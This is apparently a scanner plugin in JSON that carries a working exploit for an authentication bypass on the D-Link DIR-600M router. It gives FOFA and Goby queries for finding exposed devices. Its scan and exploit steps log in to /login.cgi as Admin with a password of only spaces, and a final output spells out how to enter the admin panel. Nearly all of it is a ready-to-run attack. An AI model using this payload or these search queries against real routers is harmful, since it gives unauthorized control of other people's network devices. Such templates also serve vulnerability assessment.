{
  "Name": "D-Link DIR-600M Wireless N 150 Login Page Bypass",
  "Description": "After Successfully Connected to D-Link DIR-600M Wireless N 150 Router(FirmWare Version : 3.04), Any User Can Easily Bypass The Router's Admin Panel Just by Feeding Blank Spaces in the password Field.",
  "Product": "D-Link DIR-600M",
  "Homepage": "http://www.dlink.co.in/products/?pid=DIR-600M",
  "DisclosureDate": "2021-05-29",
  "Author": "李大壮",
  "FofaQuery": "body=\"DIR-600M\"",
  "GobyQuery": "body=\"DIR-600M\"",
  "Level": "3",
  "Impact": "<p>Its More Dangerous when your Router has a public IP with remote login enabled.</p>",
  "Recommendation": "",
  "References": [
    "https://www.exploit-db.com/exploits/42039"
  ],
  "HasExp": true,
  "ExpParams": null,
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "username=Admin&password=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&submit.htm%3Flogin.htm=",
        "data_type": "text",
        "follow_redirect": false,
        "header": {
          "Origin": "{{{fixedhostinfo}}}",
          "Referer": "{{{fixedhostinfo}}}/login.htm"
        },
        "method": "POST",
        "uri": "/login.cgi"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "window.location.href",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "index.htm",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "username=Admin&password=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20&submit.htm%3Flogin.htm=",
        "data_type": "text",
        "follow_redirect": false,
        "header": {
          "Origin": "{{{fixedhostinfo}}}",
          "Referer": "{{{fixedhostinfo}}}/login.htm"
        },
        "method": "POST",
        "uri": "/login.cgi"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "window.location.href",
            "variable": "$body"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "index.htm",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
      "SetVariable": [
        "output|define|variable|{{{fixedhostinfo}}}/login.htm\nUser: admin\nPwd: \"                          \"\nTip:\nStep 1: Go to\nRouter Login Page : {{{fixedhostinfo}}}/login.htm\nStep 2:Fill username: admin\nAnd in Password Fill more than 20 tims Spaces(\" \")"
      ]
    }
  ],
  "Tags": [
    "Arbitrary user login"
  ],
  "CVEIDs": null,
  "CVSSScore": "9.3",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Recommendation": "<p>Update Patches</p>"
}